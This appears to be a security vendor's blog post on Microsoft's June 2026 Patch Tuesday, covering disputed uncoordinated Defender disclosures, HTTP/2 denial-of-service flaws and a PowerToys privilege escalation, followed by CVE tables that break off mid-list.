<content:encoded><![CDATA[<p><span>Microsoft is publishing 200 vulnerabilities on </span><a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jun"><span>June 2026 Patch Tuesday</span></a><span>. Microsoft is not aware of exploitation in the wild for any of these vulnerabilities, and is aware of public disclosure for three. This is similar to last month’s Patch Tuesday, however several of last month’s vulnerabilities ended up on CISA KEV in the days following their publication. So far this month, Microsoft has provided patches to address 360 browser vulnerabilities, which is an order of magnitude more than has been typical in any given month over the past few years. As usual, browser vulns are not included in the Patch Tuesday count above. Indeed, the vast, and presumably sustained, uptick in the number of browser vulnerabilities has led to Microsoft no longer enumerating Chromium CVEs in the Security Update Guide. Other vulnerability categories, especially Linux kernel vulnerabilities, are seeing a similar increase in AI-assisted vulnerability reports.</span></p><h3><span>What's the opposite of coordinated disclosure?</span></h3><p><span>In recent weeks, an independent vulnerability researcher going by the pseudonym Nightmare Eclipse has attracted significant attention by publishing details of six Microsoft vulnerabilities, including elevation of privilege vulnerabilities in Defender, and a Secure Boot disk encryption bypass. The researcher provided full proof-of-concept code for some, and provided  significant-but-incomplete detail around the path to exploitation for others. Microsoft has confirmed that these disclosures were not coordinated, and it is clear that the relationship between this researcher and Microsoft is less than cordial. Two of the disclosures emerged in the hours after last month’s Patch Tuesday, which provides maximum visibility, while limiting Microsoft’s ability to respond without out-of-cycle patches.</span></p><p><span>At time of writing, Microsoft has provided mitigation advice and patches for </span><a href="http://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825"><span>CVE-2026-33825</span></a><span>, </span><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><span>CVE-2026-45585</span></a><span>, </span><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45498"><span>CVE-2026-45498</span></a><span>, and </span><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a><span>, leaving only two elevation of privilege vulnerabilities unpatched, known as MiniPlasma and GreenPlasma. However, a recent blog post by Nightmare Eclipse with the title “7” has been widely interpreted to mean that there is at least one more vulnerability to come. The post contained no content other than an image of Albert Vesker, a character from the Resident Evil video game series who formerly worked as a researcher for a technology corporation before going rogue. Any inference around the possible meaning of the image is left as an exercise for the reader.</span></p><p><span>Given the timing of last month’s disclosures in the hours following Patch Tuesday, a further high-friction disclosure today would perhaps be unsurprising. Indeed, a new blog post and a new GitHub account from the same researcher have emerged in the hours following Microsoft’s publication of the June 2026 Patch Tuesday updates. The apparent seventh disclosure is nicknamed RoguePlanet, and appears to describe another elevation of privilege to SYSTEM in Defender.</span></p><p><span>It is not at all difficult to understand why Microsoft and many blue team practitioners are deeply alarmed by the partial or even full disclosure of proof-of-concept code for an ongoing series of vulnerabilities affecting fully-patched Windows systems. However, multiple leading voices in the broader vulnerability disclosure community have expressed concern that Microsoft’s invocation of the Digital Crimes Unit in a </span><a href="https://www.microsoft.com/en-us/msrc/blog/2026/05/a-shared-responsibility-protecting-customers-through-coordinated-vulnerability-disclosure"><span>May 27, 2026 blog post</span></a><span> may yet prove counterproductive, especially if it causes other researchers to back away from mutually beneficial engagements with MSRC. A few days later, </span><a href="https://x.com/msftsecresponse/status/2061293718942908925"><span>MSRC issued a further statement</span></a><span> clarifying that they have no intention of pursuing action against security researchers, but only those who break the law or engage in malicious activity causing real harm. For now, one safe conclusion is that this unusually sensational Microsoft vulnerability management story arc is far from over.</span></p><h3><span>HTTP/2: denial of service</span></h3><p><span>Every so often, a new round of denial of service vulnerabilities emerge which affect web servers implementing HTTP/2 and HTTP/3 standards. This class of vulnerabilities is likely to expand further as researchers, including the discoverers of </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a><span>, use advances in LLM capability to probe not just specific software, but also the standards on which software rests. Microsoft warns that exploitation leads to uncontrolled resource consumption over a network, and expects that exploitation is more likely. The advisory credits both a third-party research firm and OpenAI’s Codex.</span></p><p><span>Microsoft has not yet directly addressed another HTTP/2 vulnerability which </span><a href="https://blog.calif.io/p/codex-discovered-a-hidden-http2-bomb"><span>allows trivial denial-of-service</span></a><span> against the default HTTP/2 configuration of multiple web server platforms, including Microsoft IIS. CVE-2026-49975, also known as HTTP/2 Bomb, became public knowledge a week ago. This denial of service works by exhausting memory on the target server, and unlike a distributed denial of service attack, there is no requirement that an attacker control a large amount of bandwidth. Patches are available for NGINX and Apache, with IIS presumably to follow at some point. If practically possible, disabling HTTP/2 is a valid mitigation.</span></p><h3><span>PowerToys: SYSTEM EoP</span></h3><p><span>The Microsoft PowerToys utility provides a wide variety of useful control and configuration options for Windows power users which aren’t otherwise easily accessible. It turns out that PowerToys also offers an undocumented extra: local elevation of privilege to SYSTEM via successful exploitation of </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a><span>. It is worth noting that the fix was included in PowerToys v0.99.1 on April 29, 2026, without any apparent mention in the </span><a href="https://github.com/microsoft/PowerToys/releases/tag/v0.99.1"><span>release notes</span></a><span>. Attackers with patch-diffing toolkits may well take note of this discrepancy.</span></p><h3><span>Microsoft lifecycle update</span></h3><p><span>There are no significant Microsoft product lifecycle changes this month. </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016?branch=live"><span>SQL Server 2016</span></a><span> moves beyond regular extended support and into the pay-to-play Extended Security Updates (ESU) phase after July 14, 2026. On that same date, SharePoint </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016?branch=live"><span>2016</span></a><span> and </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019?branch=live"><span>2019</span></a><span> will also move past extended support, but since there’s no ESU available, the only remaining option for fully-supported self-hosted SharePoint after the middle of next month will be SharePoint Subscription Edition.</span></p><h2>Summary charts</h2><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt31130c38c8b60ba5/6a28853699795c2e8b593776/2026-06-vuln_count_impact.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-06-vuln_count_impact.png" asset-alt="2026-06-vuln_count_impact.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt31130c38c8b60ba5/6a28853699795c2e8b593776/2026-06-vuln_count_impact.png" data-sys-asset-uid="blt31130c38c8b60ba5" data-sys-asset-filename="2026-06-vuln_count_impact.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-06-vuln_count_impact.png" sys-style-type="display"></figure><p></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc597c95907fb5964/6a288536f022834cea65c650/2026-06-vuln_count_component.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-06-vuln_count_component.png" asset-alt="2026-06-vuln_count_component.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc597c95907fb5964/6a288536f022834cea65c650/2026-06-vuln_count_component.png" data-sys-asset-uid="bltc597c95907fb5964" data-sys-asset-filename="2026-06-vuln_count_component.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-06-vuln_count_component.png" sys-style-type="display"></figure><p></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3d7af9ae98ec4154/6a2885368c60340ef6c46d6f/2026-06-vuln_count_impact-component-heatmap.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-06-vuln_count_impact-component-heatmap.png" asset-alt="2026-06-vuln_count_impact-component-heatmap.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3d7af9ae98ec4154/6a2885368c60340ef6c46d6f/2026-06-vuln_count_impact-component-heatmap.png" data-sys-asset-uid="blt3d7af9ae98ec4154" data-sys-asset-filename="2026-06-vuln_count_impact-component-heatmap.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-06-vuln_count_impact-component-heatmap.png" sys-style-type="display"></figure><p></p><p></p><h2>Vulnerabilities by Product Family</h2><h3>Apps vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45650">CVE-2026-45650</a></td><td><p>Microsoft Bing Search Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49161">CVE-2026-49161</a></td><td><p>Microsoft PC Manager Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42902">CVE-2026-42902</a></td><td><p>Microsoft PowerToys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45649">CVE-2026-45649</a></td><td><p>Office for Android Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44803">CVE-2026-44803</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44812">CVE-2026-44812</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><h3>Azure vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-32193">CVE-2026-32193</a></td><td><p>Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47643">CVE-2026-47643</a></td><td><p>Azure Stack Edge Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41098">CVE-2026-41098</a></td><td><p>Azure Stack Edge Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr></tbody></table><h3>Developer Tools vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45490">CVE-2026-45490</a></td><td><p>.NET SDK Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45491">CVE-2026-45491</a></td><td><p>.NET Tampering Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45591">CVE-2026-45591</a></td><td><p>ASP.NET Core Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45644">CVE-2026-45644</a></td><td><p>Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45482">CVE-2026-45482</a></td><td><p>Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40376">CVE-2026-40376</a></td><td><p>Visual Studio Code Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47281">CVE-2026-47281</a></td><td><p>Visual Studio Code Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47284">CVE-2026-47284</a></td><td><p>Visual Studio Code Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47292">CVE-2026-47292</a></td><td><p>Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48569">CVE-2026-48569</a></td><td><p>Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47287">CVE-2026-47287</a></td><td><p>Visual Studio Code Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr></tbody></table><h3>ESU vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-10263">CVE-2025-10263</a></td><td><p>ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel]</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44815">CVE-2026-44815</a></td><td><p>DHCP Client Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49160">CVE-2026-49160</a></td><td><p>HTTP.sys Denial of Service Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>Yes</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47291">CVE-2026-47291</a></td><td><p>HTTP.sys Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45642">CVE-2026-45642</a></td><td><p>Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>3.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45637">CVE-2026-45637</a></td><td><p>Microsoft DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45504">CVE-2026-45504</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45502">CVE-2026-45502</a></td><td><p>Microsoft Exchange Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45503">CVE-2026-45503</a></td><td><p>Microsoft Exchange Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45583">CVE-2026-45583</a></td><td><p>Microsoft Exchange Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45500">CVE-2026-45500</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45501">CVE-2026-45501</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47631">CVE-2026-47631</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42986">CVE-2026-42986</a></td><td><p>Microsoft Graphics Component Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41092">CVE-2026-41092</a></td><td><p>Microsoft Kinect Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45606">CVE-2026-45606</a></td><td><p>Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42980">CVE-2026-42980</a></td><td><p>NT OS Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42916">CVE-2026-42916</a></td><td><p>NT OS Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47289">CVE-2026-47289</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47653">CVE-2026-47653</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48563">CVE-2026-48563</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42909">CVE-2026-42909</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42992">CVE-2026-42992</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44799">CVE-2026-44799</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44801">CVE-2026-44801</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42985">CVE-2026-42985</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42993">CVE-2026-42993</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45588">CVE-2026-45588</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48568">CVE-2026-48568</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48570">CVE-2026-48570</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48573">CVE-2026-48573</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48575">CVE-2026-48575</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48576">CVE-2026-48576</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48578">CVE-2026-48578</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45656">CVE-2026-45656</a></td><td><p>UEFI Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8863">CVE-2026-8863</a></td><td><p>UEFI Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34335">CVE-2026-34335</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45601">CVE-2026-45601</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45598">CVE-2026-45598</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45596">CVE-2026-45596</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45638">CVE-2026-45638</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45603">CVE-2026-45603</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42911">CVE-2026-42911</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45594">CVE-2026-45594</a></td><td><p>Windows Application Identity (AppID) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45655">CVE-2026-45655</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45658">CVE-2026-45658</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50507">CVE-2026-50507</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>Yes</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45640">CVE-2026-45640</a></td><td><p>Windows Bluetooth Port Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45605">CVE-2026-45605</a></td><td><p>Windows Bluetooth Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47656">CVE-2026-47656</a></td><td><p>Windows Boot Manager Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45586">CVE-2026-45586</a></td><td><p>Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>Yes</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42987">CVE-2026-42987</a></td><td><p>Windows Deployment Services (WDS) Remote Code Execution</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33828">CVE-2026-33828</a></td><td><p>Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45634">CVE-2026-45634</a></td><td><p>Windows DHCP Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45608">CVE-2026-45608</a></td><td><p>Windows DHCP Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41108">CVE-2026-41108</a></td><td><p>Windows DNS Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42905">CVE-2026-42905</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a 